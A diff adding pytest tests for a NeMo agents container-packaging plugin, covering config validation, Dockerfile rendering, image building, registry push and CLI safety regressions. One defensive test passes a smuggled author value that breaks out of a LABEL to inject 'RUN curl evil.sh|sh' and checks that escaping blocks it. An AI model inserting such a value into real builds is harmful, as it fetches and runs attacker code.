+ raise ``TypeError`` at the membership check. All three malformed + shapes now produce structured errors before any membership lookup. + """ + from nemo_agents_plugin.container.validator import validate_agent_config + + p = tmp_path / "config.yaml" + # All three malformed shapes packed into one config so a single + # validation pass exercises every new rejection branch. + p.write_text( + "workflow:\n" + " _type: react_agent\n" + " tool_names: my_tool\n" # string, must be list + " llm_name: [a, b]\n" # list, must be string + "llms:\n" + " - first\n" # list, must be mapping + ) + result = validate_agent_config(p) + assert not result.valid + joined = " || ".join(result.errors) + assert "workflow.tool_names must be a list" in joined + assert "workflow.llm_name must be a string" in joined + # ``llms`` mapping error is only checked when ``llm_name`` is a + # valid string, so verify it in its own minimal config. + p2 = tmp_path / "config2.yaml" + p2.write_text("workflow:\n _type: react_agent\n llm_name: x\nllms:\n - first\n") + result2 = validate_agent_config(p2) + assert not result2.valid + assert any("'llms' must be a mapping" in e for e in result2.errors) + + +# --------------------------------------------------------------------------- +# Build tests +# --------------------------------------------------------------------------- + + +class TestBuildAgentImage: + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_build_with_provided_dockerfile(self, mock_build: MagicMock, agent_config: Path) -> None: + from nemo_agents_plugin.container.builder import build_agent_image + + dockerfile = agent_config.parent / "Dockerfile" + dockerfile.write_text("FROM ubuntu") + mock_build.return_value = "my-agent:latest" + + result = build_agent_image( + agent_config, + dockerfile=dockerfile, + tag="my-agent:latest", + nat_version="1.4.0", + ) + + assert result == "my-agent:latest" + mock_build.assert_called_once() + assert mock_build.call_args.kwargs["dockerfile"] == dockerfile + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_build_renders_on_the_fly(self, mock_build: MagicMock, agent_config: Path) -> None: + from nemo_agents_plugin.container.builder import build_agent_image + + mock_build.return_value = "config-abc123:0.0.0" + + build_agent_image(agent_config, nat_version="1.4.0", agent_author="x") + + tag = mock_build.call_args.kwargs["tag"] + assert tag.startswith("config-") + assert ":" in tag + mock_build.assert_called_once() + assert not (agent_config.parent / "Dockerfile.generated").exists() + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_build_cleans_up_dockerignore(self, mock_build: MagicMock, agent_config: Path) -> None: + from nemo_agents_plugin.container.builder import build_agent_image + + mock_build.return_value = "config-abc:0.0.0" + build_agent_image(agent_config, nat_version="1.4.0", generate_ignore=True, agent_author="x") + + assert not (agent_config.parent / ".dockerignore").exists() + assert not (agent_config.parent / "Dockerfile.generated").exists() + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_build_preserves_committed_plugin_managed_dockerignore( + self, mock_build: MagicMock, agent_config: Path + ) -> None: + """A pre-existing committed ``.dockerignore`` must survive a build. + + Regression: ``render_dockerignore`` regenerates plugin-managed + files in place (sentinel match = "safe to refresh") and returns + the path. The build path used to treat any returned path as a + transient artifact and unlinked it in the ``finally`` cleanup — + which deleted a committed-and-checked-in ``.dockerignore`` whose + sentinel header marked it as plugin-managed. Cleanup now only + deletes files this run actually *created* (file did not exist + before the build). Both content and existence are checked. + """ + from nemo_agents_plugin.container.builder import build_agent_image + from nemo_agents_plugin.container.template import DOCKERIGNORE_SENTINEL + + ignore = agent_config.parent / ".dockerignore" + committed = f"{DOCKERIGNORE_SENTINEL}\n# user-committed tweak\nignore-me/\n" + ignore.write_text(committed) + + mock_build.return_value = "config-abc:0.0.0" + build_agent_image(agent_config, nat_version="1.4.0", generate_ignore=True, agent_author="x") + + assert ignore.exists(), "committed .dockerignore was deleted by build cleanup" + # Content may have been regenerated (sentinel-marked = safe to + # refresh), so we only assert the sentinel header survived — the + # file is still there for the next ``docker build`` to consume. + assert ignore.read_text().splitlines()[0] == DOCKERIGNORE_SENTINEL + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_build_no_ignore(self, mock_build: MagicMock, agent_config: Path) -> None: + from nemo_agents_plugin.container.builder import build_agent_image + + mock_build.return_value = "config-abc:0.0.0" + build_agent_image(agent_config, nat_version="1.4.0", generate_ignore=False, agent_author="x") + + assert not (agent_config.parent / ".dockerignore").exists() + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_default_tag_from_metadata(self, mock_build: MagicMock, project_dir: tuple[Path, Path]) -> None: + """Default tag follows the ``{agent_name}-{agent_id}:{agent_version}`` convention.""" + from nemo_agents_plugin.container.builder import build_agent_image + + config, pyproject = project_dir + mock_build.return_value = "placeholder" + + build_agent_image(config, pyproject=pyproject, nat_version="1.4.0", agent_author="x") + + tag = mock_build.call_args.kwargs["tag"] + assert tag.startswith("test-agent-"), f"Expected tag to start with 'test-agent-', got {tag}" + name_id, version = tag.rsplit(":", 1) + assert version == "2.3.0" + agent_id_part = name_id.split("-", 2)[-1] + assert len(agent_id_part) == 12, f"agent_id should be 12-char hex, got '{agent_id_part}'" + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_build_runs_validation_by_default(self, mock_build: MagicMock, tmp_path: Path) -> None: + from nemo_agents_plugin.container.builder import build_agent_image + + bad = tmp_path / "bad.yaml" + bad.write_text("no_workflow_here: true\n") + mock_build.return_value = "x:latest" + + with pytest.raises((SystemExit, ClickExit)): + build_agent_image(bad, nat_version="1.0.0") + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_build_skip_validation(self, mock_build: MagicMock, tmp_path: Path) -> None: + from nemo_agents_plugin.container.builder import build_agent_image + + bad = tmp_path / "bad.yaml" + bad.write_text("no_workflow_here: true\n") + mock_build.return_value = "x:latest" + + result = build_agent_image(bad, nat_version="1.0.0", skip_validation=True) + assert result == "x:latest" + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_build_passes_allow_root(self, mock_build: MagicMock, agent_config: Path) -> None: + from nemo_agents_plugin.container.builder import build_agent_image + + mock_build.return_value = "x:latest" + build_agent_image(agent_config, nat_version="1.0.0", allow_root=True) + + call_kwargs = mock_build.call_args.kwargs + dockerfile = call_kwargs["dockerfile"] + assert not dockerfile.exists() # cleaned up + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_build_with_external_template(self, mock_build: MagicMock, agent_config: Path, tmp_path: Path) -> None: + from nemo_agents_plugin.container.builder import build_agent_image + + tpl = tmp_path / "custom.j2" + tpl.write_text("FROM scratch\nRUN echo {{ nat_version }}") + mock_build.return_value = "x:latest" + + build_agent_image(agent_config, nat_version="5.0.0", template_path=str(tpl)) + + call_kwargs = mock_build.call_args.kwargs + assert "5.0.0" in call_kwargs["build_args"]["NAT_VERSION"] + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_build_cleanup_on_failure(self, mock_build: MagicMock, agent_config: Path) -> None: + from nemo_agents_plugin.container.builder import build_agent_image + + mock_build.side_effect = SystemExit(1) + + with pytest.raises((SystemExit, ClickExit)): + build_agent_image(agent_config, nat_version="1.0.0") + + assert not (agent_config.parent / "Dockerfile.generated").exists() + assert not (agent_config.parent / ".dockerignore").exists() + + +# --------------------------------------------------------------------------- +# Default tag tests +# --------------------------------------------------------------------------- + + +class TestDefaultTag: + """Tests for the ``{agent_name}-{agent_id}:{agent_version}`` convention.""" + + def test_config_only_fallback(self, agent_config: Path) -> None: + import re + + from nemo_agents_plugin.container.builder import _default_tag + + tag = _default_tag(agent_config, agent_author="x") + name_id, version = tag.rsplit(":", 1) + assert name_id.startswith("config-") + assert re.match(r"\d{2}\.\d{2}\.\d{2}$", version), f"Expected YY.MM.DD, got {version}" + assert len(name_id.split("-", 1)[1]) == 12 + + def test_with_pyproject(self, project_dir: tuple[Path, Path]) -> None: + from nemo_agents_plugin.container.builder import _default_tag + + config, pyproject = project_dir + tag = _default_tag(config, pyproject, agent_author="x") + name_id, version = tag.rsplit(":", 1) + assert name_id.startswith("test-agent-") + assert version == "2.3.0" + + def test_explicit_version_override(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.builder import _default_tag + + tag = _default_tag(agent_config, agent_version="5.0.0", agent_author="x") + assert tag.endswith(":5.0.0") + + def test_deterministic(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.builder import _default_tag + + t1 = _default_tag(agent_config, agent_author="x") + t2 = _default_tag(agent_config, agent_author="x") + name1, _ = t1.rsplit(":", 1) + name2, _ = t2.rsplit(":", 1) + assert name1 == name2 + + +# --------------------------------------------------------------------------- +# Publish tests +# --------------------------------------------------------------------------- + + +class TestDockerPush: + def _call_push(self, mock_docker: MagicMock, **kwargs: str | None) -> str: + import sys + from importlib import reload + + from nemo_agents_plugin.container import publisher + + fake_module = MagicMock(docker=mock_docker) + with patch.dict(sys.modules, {"python_on_whales": fake_module}): + reload(publisher) + return publisher.docker_push(**kwargs) + + def test_push_computes_remote_tag(self) -> None: + mock_docker = MagicMock() + self._call_push( + mock_docker, + local_tag="agent:2.0", + registry="registry.example.com/team", + ) + expected_remote = "registry.example.com/team/agent:2.0" + mock_docker.tag.assert_called_once_with("agent:2.0", expected_remote) + mock_docker.push.assert_called_once_with(expected_remote) + + def test_push_with_explicit_push_tag(self) -> None: + mock_docker = MagicMock() + self._call_push( + mock_docker, + local_tag="my-agent:1.0", + registry="nvcr.io/org", + push_tag="nvcr.io/org/custom:v1", + ) + mock_docker.tag.assert_called_once_with("my-agent:1.0", "nvcr.io/org/custom:v1") + mock_docker.push.assert_called_once_with("nvcr.io/org/custom:v1") + + def test_push_strips_trailing_slash(self) -> None: + mock_docker = MagicMock() + self._call_push( + mock_docker, + local_tag="img:v1", + registry="nvcr.io/org/", + ) + mock_docker.tag.assert_called_once_with("img:v1", "nvcr.io/org/img:v1") + + +# --------------------------------------------------------------------------- +# resolve_value tests +# --------------------------------------------------------------------------- + + +class TestResolveValue: + def test_explicit_wins(self) -> None: + from nemo_agents_plugin.container.template import resolve_value + + assert resolve_value("base_image_url", "explicit") == "explicit" + + def test_env_var_fallback(self, monkeypatch: pytest.MonkeyPatch) -> None: + from nemo_agents_plugin.container.template import resolve_value + + monkeypatch.setenv("NAT_VERSION", "envval") + assert resolve_value("nat_version") == "envval" + + def test_default_fallback(self) -> None: + from nemo_agents_plugin.container.template import resolve_value + + assert resolve_value("python_version") == "3.13" + + def test_required_raises(self) -> None: + from nemo_agents_plugin.container.template import resolve_value + + # Names not in _DEFAULTS and not in _ENV_MAP must raise — every real + # parameter now has a default, so use an unknown key to cover the + # 'unresolvable required' branch. + with pytest.raises(ValueError, match="nonexistent_param"): + resolve_value("nonexistent_param") + + +# --------------------------------------------------------------------------- +# End-to-end integration test +# --------------------------------------------------------------------------- + + +class TestEndToEndPipeline: + """Integration test exercising render → build → publish in sequence.""" + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_render_then_build_then_publish(self, mock_build: MagicMock, agent_config: Path, tmp_path: Path) -> None: + from nemo_agents_plugin.container.builder import build_agent_image + from nemo_agents_plugin.container.template import render_dockerfile, render_dockerignore + + rendered = render_dockerfile( + agent_config, + None, + nat_version="1.4.0", + agent_version="1.0.0", + agent_author="e2e-test", + ) + assert "USER agent" in rendered + assert 'org.opencontainers.image.version="1.0.0"' in rendered + assert 'org.opencontainers.image.authors="e2e-test"' in rendered + assert "--no-install-recommends" in rendered + + dockerfile_path = tmp_path / "Dockerfile" + dockerfile_path.write_text(rendered) + + ignore_path = render_dockerignore(tmp_path) + assert ignore_path is not None # narrow Path | None + assert ignore_path.exists() + + mock_build.return_value = "e2e-agent:1.0.0" + tag = build_agent_image( + agent_config, + dockerfile=dockerfile_path, + tag="e2e-agent:1.0.0", + nat_version="1.4.0", + ) + assert tag == "e2e-agent:1.0.0" + + mock_docker = MagicMock() + import sys + from importlib import reload + from unittest.mock import patch as _patch + + from nemo_agents_plugin.container import publisher + + fake_module = MagicMock(docker=mock_docker) + with _patch.dict(sys.modules, {"python_on_whales": fake_module}): + reload(publisher) + remote = publisher.docker_push( + local_tag="e2e-agent:1.0.0", + registry="nvcr.io/test-org", + ) + + assert remote == "nvcr.io/test-org/e2e-agent:1.0.0" + mock_docker.tag.assert_called_once() + mock_docker.push.assert_called_once() + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_full_pipeline_with_project_mode(self, mock_build: MagicMock, project_dir: tuple[Path, Path]) -> None: + from nemo_agents_plugin.container.builder import build_agent_image + from nemo_agents_plugin.container.validator import validate_agent_config + + config, pyproject = project_dir + + validation = validate_agent_config(config) + assert validation.valid + + mock_build.return_value = "placeholder" + build_agent_image( + config, + pyproject=pyproject, + nat_version="1.4.0", + agent_version="2.3.0", + agent_author="proj-test", + ) + + actual_tag = mock_build.call_args.kwargs["tag"] + assert actual_tag.startswith("test-agent-") + assert actual_tag.endswith(":2.3.0") + + built_dockerfile = mock_build.call_args.kwargs["dockerfile"] + assert not built_dockerfile.exists() + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_validation_blocks_bad_config(self, mock_build: MagicMock, tmp_path: Path) -> None: + from nemo_agents_plugin.container.builder import build_agent_image + + bad = tmp_path / "bad_agent.yaml" + bad.write_text("llms:\n x: {}\n") + + with pytest.raises((SystemExit, ClickExit)): + build_agent_image(bad, nat_version="1.0.0") + + mock_build.assert_not_called() + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_external_template_e2e(self, mock_build: MagicMock, agent_config: Path, tmp_path: Path) -> None: + from nemo_agents_plugin.container.template import render_dockerfile + + custom_tpl = tmp_path / "tpl.j2" + custom_tpl.write_text( + "FROM alpine\nLABEL agent={{ agent_name }} version={{ agent_version }}\nRUN echo {{ nat_version }}\n" + ) + + rendered = render_dockerfile( + agent_config, + None, + nat_version="7.0.0", + agent_version="1.2.3", + template_path=str(custom_tpl), + ) + + assert "FROM alpine" in rendered + assert "agent=config" in rendered + assert "version=1.2.3" in rendered + assert "echo 7.0.0" in rendered + + @patch("nemo_agents_plugin.container.builder.docker_build") + def test_allow_root_e2e(self, mock_build: MagicMock, agent_config: Path) -> None: + from nemo_agents_plugin.container.builder import build_agent_image + + mock_build.return_value = "root-agent:latest" + build_agent_image(agent_config, nat_version="1.0.0", allow_root=True) + + generated = agent_config.parent / "Dockerfile.generated" + content = generated.read_text() if generated.exists() else "" + assert "USER agent" not in content + + +# --------------------------------------------------------------------------- +# `nemo agents package` CLI command +# --------------------------------------------------------------------------- + + +@pytest.fixture() +def package_cli(): + """Return a Typer app with only the ``package`` command registered. + + A no-op callback keeps the app in multi-command mode so ``package`` + must be invoked explicitly (matching real ``nemo agents package`` usage). + """ + import typer + from nemo_agents_plugin.cli import _register_package_command + from typer.testing import CliRunner + + app = typer.Typer(no_args_is_help=True) + + @app.callback() + def _root() -> None: + pass + + _register_package_command(app) + return app, CliRunner() + + +class TestPackageCommand: + """Tests for the unified ``nemo agents package`` CLI command.""" + + def test_no_build_renders_dockerfile_and_ignore(self, package_cli, agent_config: Path, tmp_path: Path) -> None: + """``--no-build`` emits Dockerfile + .dockerignore and never calls the builder.""" + app, runner = package_cli + output = tmp_path / "Dockerfile" + + with ( + patch("nemo_agents_plugin.container.builder.build_agent_image") as mock_build, + patch("nemo_agents_plugin.container.publisher.docker_push") as mock_push, + ): + result = runner.invoke( + app, + [ + "package", + "--agent", + str(agent_config), + "--nat-version", + "1.5.0", + "--output", + str(output), + "--no-build", + ], + ) + + assert result.exit_code == 0, result.stdout + assert output.exists() + assert (output.parent / ".dockerignore").exists() + assert "Dockerfile written to" in result.stdout + mock_build.assert_not_called() + mock_push.assert_not_called() + + def test_no_build_project_mode_writes_dockerfile_next_to_pyproject( + self, package_cli, project_dir: "tuple[Path, Path]" + ) -> None: + """In --pyproject mode the default output lives at the project root. + + Regression: the Dockerfile's ``COPY pyproject.toml .`` / ``COPY . .`` + only resolve when the Dockerfile sits beside pyproject.toml. With a + nested agent config (``configs/config.yaml``) the old default put the + Dockerfile in ``configs/``, breaking the build context. + """ + app, runner = package_cli + config, pyproject = project_dir + + result = runner.invoke( + app, + [ + "package", + "--agent", + str(config), + "--pyproject", + str(pyproject), + "--nat-version", + "1.4.0", + "--no-build", + ], + ) + + assert result.exit_code == 0, result.stdout + # Default output must be the project root (pyproject's directory), + # NOT the config's parent directory. + assert (pyproject.parent / "Dockerfile").exists() + assert not (config.parent / "Dockerfile").exists() + assert (pyproject.parent / ".dockerignore").exists() + + def test_no_build_config_only_mode_writes_dockerfile_next_to_config(self, package_cli, agent_config: Path) -> None: + """Without --pyproject the default output stays beside the agent config.""" + app, runner = package_cli + + result = runner.invoke( + app, + [ + "package", + "--agent", + str(agent_config), + "--nat-version", + "1.4.0", + "--no-build", + ], + ) + + assert result.exit_code == 0, result.stdout + assert (agent_config.parent / "Dockerfile").exists() + + def test_warns_when_nat_version_unpinned_and_silent_when_pinned( + self, package_cli, agent_config: Path, monkeypatch: pytest.MonkeyPatch + ) -> None: + """Package CLI warns on unpinned --nat-version, stays silent when pinned. + + Reproducibility hinges on callers pinning the NAT release explicitly. + One test exercises both branches (unpinned → warn, pinned → silent) + and verifies the warned version matches the baked-in default so + reviewers updating the default can't accidentally drift the message. + """ + from nemo_agents_plugin.container.template import _DEFAULTS + + app, runner = package_cli + monkeypatch.delenv("NAT_VERSION", raising=False) + + # Branch 1: no --nat-version flag, no env var → warning with the default version. + unpinned = runner.invoke( + app, + ["package", "--agent", str(agent_config), "--no-build"], + ) + assert unpinned.exit_code == 0, unpinned.stdout + warn_stream = unpinned.stderr or unpinned.stdout + assert "warning:" in warn_stream + assert "--nat-version not provided" in warn_stream + assert _DEFAULTS["nat_version"] in warn_stream + + # Branch 2: explicit --nat-version → no warning on the version at all. + pinned = runner.invoke( + app, + ["package", "--agent", str(agent_config), "--nat-version", "1.4.0", "--no-build"], + ) + assert pinned.exit_code == 0, pinned.stdout + combined = (pinned.stderr or "") + pinned.stdout + assert "--nat-version not provided" not in combined + + def test_default_runs_build_without_publish(self, package_cli, agent_config: Path) -> None: + """Default invocation builds the image and does not publish.""" + app, runner = package_cli + + with ( + patch("nemo_agents_plugin.container.builder.build_agent_image") as mock_build, + patch("nemo_agents_plugin.container.publisher.docker_push") as mock_push, + ): + mock_build.return_value = "my-agent:1.0" + result = runner.invoke( + app, + [ + "package", + "--agent", + str(agent_config), + "--nat-version", + "1.5.0", + "--tag", + "my-agent:1.0", + ], + ) + + assert result.exit_code == 0, result.stdout + assert "Image ready: my-agent:1.0" in result.stdout + mock_build.assert_called_once() + assert mock_build.call_args.kwargs["tag"] == "my-agent:1.0" + mock_push.assert_not_called() + + def test_publish_pushes_after_build(self, package_cli, agent_config: Path) -> None: + """``--publish --registry`` triggers a push after a successful build.""" + app, runner = package_cli + + with ( + patch("nemo_agents_plugin.container.builder.build_agent_image") as mock_build, + patch("nemo_agents_plugin.container.publisher.docker_push") as mock_push, + ): + mock_build.return_value = "my-agent:1.0" + mock_push.return_value = "nvcr.io/my-org/my-agent:1.0" + + result = runner.invoke( + app, + [ + "package", + "--agent", + str(agent_config), + "--nat-version", + "1.5.0", + "--tag", + "my-agent:1.0", + "--publish", + "--registry", + "nvcr.io/my-org", + ], + ) + + assert result.exit_code == 0, result.stdout + assert "Image ready: my-agent:1.0" in result.stdout + assert "Published: nvcr.io/my-org/my-agent:1.0" in result.stdout + mock_build.assert_called_once() + mock_push.assert_called_once_with(local_tag="my-agent:1.0", registry="nvcr.io/my-org", push_tag=None) + + def test_publish_without_registry_fails(self, package_cli, agent_config: Path) -> None: + """``--publish`` without ``--registry`` is rejected before any build runs.""" + app, runner = package_cli + + with ( + patch("nemo_agents_plugin.container.builder.build_agent_image") as mock_build, + patch("nemo_agents_plugin.container.publisher.docker_push") as mock_push, + ): + result = runner.invoke( + app, + ["package", "--agent", str(agent_config), "--publish"], + ) + + assert result.exit_code != 0 + assert "--registry" in (result.stderr or result.stdout) + mock_build.assert_not_called() + mock_push.assert_not_called() + + def test_no_build_and_publish_are_mutually_exclusive(self, package_cli, agent_config: Path) -> None: + """``--no-build --publish`` is rejected at flag-validation time.""" + app, runner = package_cli + + with ( + patch("nemo_agents_plugin.container.builder.build_agent_image") as mock_build, + patch("nemo_agents_plugin.container.publisher.docker_push") as mock_push, + ): + result = runner.invoke( + app, + [ + "package", + "--agent", + str(agent_config), + "--no-build", + "--publish", + "--registry", + "nvcr.io/x", + ], + ) + + assert result.exit_code != 0 + assert "mutually exclusive" in (result.stderr or result.stdout) + mock_build.assert_not_called() + mock_push.assert_not_called() + + def test_invalid_format_fails(self, package_cli, agent_config: Path) -> None: + """Unknown ``--format`` values are rejected.""" + app, runner = package_cli + result = runner.invoke( + app, + ["package", "--agent", str(agent_config), "--format", "bogus", "--no-build"], + ) + assert result.exit_code != 0 + assert "--format" in (result.stderr or result.stdout) + + def test_whl_format_rejected_in_every_mode(self, package_cli, agent_config: Path) -> None: + """``--format whl`` is rejected before any build/render runs. + + Wheel packaging was scaffolded into the original CLI surface but + never wired into either the build path or the render-only path. + The guard lives in ``_validate_package_flags`` so we get the same + "not yet implemented" error in both ``--no-build`` and the default + build mode, instead of silently falling through to a docker build + that ignores ``--format``. + + ``--agent-whl`` was removed alongside the validator branch that + checked it; this test no longer needs to pass it. + """ + app, runner = package_cli + + with patch("nemo_agents_plugin.container.builder.build_agent_image") as mock_build: + no_build_result = runner.invoke( + app, + ["package", "--agent", str(agent_config), "--format", "whl", "--no-build"], + ) + build_result = runner.invoke( + app, + [ + "package", + "--agent", + str(agent_config), + "--format", + "whl", + "--nat-version", + "1.5.0", + ], + ) + + for result in (no_build_result, build_result): + assert result.exit_code != 0 + assert "not yet implemented" in (result.stderr or result.stdout) + mock_build.assert_not_called() + + +# --------------------------------------------------------------------------- +# Bug-fix regressions (see commit notes for the originating critical review) +# --------------------------------------------------------------------------- + + +class TestPackagingSafetyRegressions: + """Lock in the safety fixes shipped after the initial critical review. + + Each test bundles several related assertions to minimize fixture + overhead and to keep the regression contract for one bug visible in + one place. + """ + + def test_label_values_are_escaped_against_dockerfile_injection(self, agent_config: Path) -> None: + """Quotes, backslashes, and newlines in label values must not break out. + + Covers: + * ``"`` in ``--agent-author`` (terminates the LABEL string early). + * ``\\n`` in ``--agent-author`` (could inject a free-standing + ``RUN`` instruction). + * ``\\`` in ``--agent-author`` (escape character collision). + """ + from nemo_agents_plugin.container.template import _dockerfile_escape, render_dockerfile + + assert _dockerfile_escape('Alice "the Hacker"') == 'Alice \\"the Hacker\\"' + assert _dockerfile_escape("multi\nline") == "multi line" + assert _dockerfile_escape("back\\slash") == "back\\\\slash" + + rendered = render_dockerfile( + agent_config, + nat_version="1.4.0", + agent_version="1.0.0", + agent_author='Eve";\nRUN curl evil.sh|sh\nLABEL hijacked="yes', + ) + # The injection attempt is reduced to a single LABEL line with the + # quote/backslash escaped and the newline collapsed to a space. + assert "\nRUN curl evil.sh" not in rendered + assert 'LABEL hijacked="yes"' not in rendered + assert 'org.opencontainers.image.authors="Eve\\";' in rendered + + def test_dockerignore_preserves_user_files_and_overwrites_its_own(self, tmp_path: Path) -> None: + """User-owned ``.dockerignore`` is preserved; plugin-owned is regenerated. + + The two cases must coexist: the first invocation in a project writes + the plugin's file (with sentinel header), and re-running the + packager must update that file in place without trampling a + user-tuned one that exists alongside. + """ + from nemo_agents_plugin.container.template import DOCKERIGNORE_SENTINEL, render_dockerignore + + # Case 1: no file → write ours. + first = render_dockerignore(tmp_path) + assert first is not None and first.exists() + assert first.read_text().splitlines()[0] == DOCKERIGNORE_SENTINEL + + # Case 2: our previous file (sentinel present) → overwrite in place. + first.write_text(DOCKERIGNORE_SENTINEL + "\nstale-contents\n") + regenerated = render_dockerignore(tmp_path) + assert regenerated == first + assert "stale-contents" not in first.read_text() + + # Case 3: user-owned file (no sentinel) → leave it alone, return None. + user_dir = tmp_path / "user_project" + user_dir.mkdir() + user_content = "# my carefully tuned ignores\ndata/\nlarge_assets/**\n" + (user_dir / ".dockerignore").write_text(user_content) + result = render_dockerignore(user_dir) + assert result is None + assert (user_dir / ".dockerignore").read_text() == user_content + + def test_no_build_refuses_to_clobber_existing_default_dockerfile(self, package_cli, agent_config: Path) -> None: + """``--no-build`` must not silently overwrite the user's existing Dockerfile. + + Explicit ``--output`` is treated as informed consent and still + overwrites; only the default-resolved path triggers the guard. + """ + app, runner = package_cli + + existing = agent_config.parent / "Dockerfile" + existing.write_text("FROM scratch\n# user's hand-tuned Dockerfile\n") + + # Default output → refuse, preserve. + default_result = runner.invoke( + app, + ["package", "--agent", str(agent_config), "--nat-version", "1.4.0", "--no-build"], + ) + assert default_result.exit_code != 0 + assert "refusing to overwrite" in (default_result.stderr or default_result.stdout) + assert "user's hand-tuned" in existing.read_text() + + # Explicit --output to the same path → allowed. + explicit_result = runner.invoke( + app, + [ + "package", + "--agent", + str(agent_config), + "--nat-version", + "1.4.0", + "--no-build", + "--output", + str(existing), + ], + ) + assert explicit_result.exit_code == 0, explicit_result.stdout + assert "user's hand-tuned" not in existing.read_text() + assert "FROM " in existing.read_text() + + def test_no_build_oserror_yields_clean_cli_error(self, package_cli, agent_config: Path, tmp_path: Path) -> None: + """``OSError`` from the filesystem write surfaces as a clean CLI error. + + Regression: ``output.write_text`` and ``render_dockerignore`` ran + outside any ``try`` block, so a read-only mount or a missing + parent directory leaked a raw ``FileNotFoundError`` / + ``PermissionError`` traceback to the operator. Both writes are + now wrapped in ``except OSError`` and exit via ``typer.Exit(1)`` + with an ``Error:`` line that names the failing file and the + underlying message. + """ + app, runner = package_cli + + # Parent directory deliberately doesn't exist → ``Path.write_text`` + # raises ``FileNotFoundError`` (an ``OSError`` subclass). + bad_output = tmp_path / "nonexistent_subdir" / "Dockerfile" + result = runner.invoke( + app, + [ + "package", + "--agent", + str(agent_config), + "--nat-version", + "1.4.0", + "--no-build", + "--output", + str(bad_output), + ], + ) + assert result.exit_code != 0 + combined = (result.stderr or "") + (result.stdout or "") + assert "Error: failed to write Dockerfile" in combined + assert str(bad_output) in combined + # The success message must not be printed when the write failed. + assert "Dockerfile written to" not in combined + # And no Python traceback should reach the operator. + assert "Traceback" not in combined + + def test_multi_platform_rejected_with_actionable_error(self, package_cli, agent_config: Path) -> None: + """Multiple ``--platform`` values are rejected — buildx wiring is not done. + + The previous CLI accepted multi-arch and printed a fake "pushed via + buildx" success while actually building (and pushing) a single + architecture. We now fail fast with a pointer at the manual + ``buildx imagetools`` workaround. + """ + app, runner = package_cli + + with patch("nemo_agents_plugin.container.builder.build_agent_image") as mock_build: + result = runner.invoke( + app, + [ + "package", + "--agent", + str(agent_config), + "--nat-version", + "1.4.0", + "--platform", + "linux/amd64", + "--platform", + "linux/arm64", + "--publish", + "--registry", + "nvcr.io/x", + ], + ) + + assert result.exit_code != 0 + message = result.stderr or result.stdout + assert "multi-arch" in message + assert "buildx imagetools" in message + mock_build.assert_not_called() + + def test_default_tag_sanitizes_uppercase_names_and_pep440_versions(self, tmp_path: Path) -> None: + """Default tag is always a valid Docker reference. + + PEP 621 ``project.name`` permits uppercase, and PEP 440 + ``project.version`` permits ``+local`` and ``!epoch`` segments; + Docker rejects all of these. Sanitize so the build never trips + ``invalid reference format``. + """ + from nemo_agents_plugin.container.builder import _default_tag, _sanitize_image_name, _sanitize_image_tag + + assert _sanitize_image_name("HelloWorld") == "helloworld" + assert _sanitize_image_name("My Project!") == "my-project" + assert _sanitize_image_name("") == "agent" + assert _sanitize_image_tag("1.0.0+local.20260529") == "1.0.0.local.20260529" + assert _sanitize_image_tag("1!2.0") == "1.2.0" + assert _sanitize_image_tag("") == "latest" + + (tmp_path / "configs").mkdir() + config = tmp_path / "configs" / "config.yaml" + config.write_text(VALID_CONFIG) + pyproject = tmp_path / "pyproject.toml" + pyproject.write_text('[project]\nname = "HelloWorld"\nversion = "1.0.0+local"\n') + + tag = _default_tag(config, pyproject, agent_author="x") + name_part, version_part = tag.rsplit(":", 1) + # Repo component must be lowercase; tag must not contain '+'. + assert name_part == name_part.lower() + assert "+" not in version_part + + def test_outside_pyproject_tree_fails_fast_instead_of_silently_breaking( + self, agent_config: Path, tmp_path: Path + ) -> None: + """Agent config outside the pyproject build context must error at render time. + + Previously the renderer fell back to ``Path(agent_config.name)``, + which produced an image that built successfully but crashed at + ``nat serve`` startup with ``config file not found``. + """ + from nemo_agents_plugin.container.template import render_dockerfile + + elsewhere = tmp_path / "elsewhere" + elsewhere.mkdir() + pyproject = elsewhere / "pyproject.toml" + pyproject.write_text('[project]\nname = "x"\nversion = "1.0.0"\n') + + with pytest.raises(ValueError, match="outside the pyproject build context"): + render_dockerfile(agent_config, pyproject, nat_version="1.4.0", agent_author="x") + + def test_agent_id_includes_build_environment(self, agent_config: Path) -> None: + """Changing the toolchain must change the agent_id. + + Otherwise two ABI-incompatible images (built against different + ``--nat-version`` / base images) share the same content-addressable + suffix, making the id useless for caching or rollback. + """ + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + meta_v1 = extract_agent_metadata( + agent_config, + agent_author="x", + build_env={"nat_version": "1.4.0", "python_version": "3.12"}, + ) + meta_v2 = extract_agent_metadata( + agent_config, + agent_author="x", + build_env={"nat_version": "1.7.0", "python_version": "3.12"}, + ) + meta_legacy = extract_agent_metadata(agent_config, agent_author="x") + + assert meta_v1["agent_id"] != meta_v2["agent_id"] + # Legacy callers that pass no build_env must still get a deterministic id. + assert meta_legacy["agent_id"] == extract_agent_metadata(agent_config, agent_author="x")["agent_id"] + + def test_strip_credentials_drops_query_string_tokens(self) -> None: + """Tokens hidden in the query string of an HTTPS git URL are scrubbed. + + Previously ``_strip_credentials`` only inspected ``userinfo`` in + the netloc; a URL like ``https://github.com/x.git?token=TOKEN_X`` + leaked the token into ``org.opencontainers.image.source``. + + Fixtures use neutral placeholders (``TOKEN_X``) rather than real + ``glpat-`` / ``ghp_`` prefixes so the test file does not trip + secret-scanning hooks on push. + """ + from nemo_agents_plugin.container.metadata import _strip_credentials + + assert _strip_credentials("https://github.com/x.git?token=TOKEN_X") == "https://github.com/x.git" + assert _strip_credentials("https://gitlab.com/x.git?access_token=TOKEN_X#frag") == "https://gitlab.com/x.git" + # 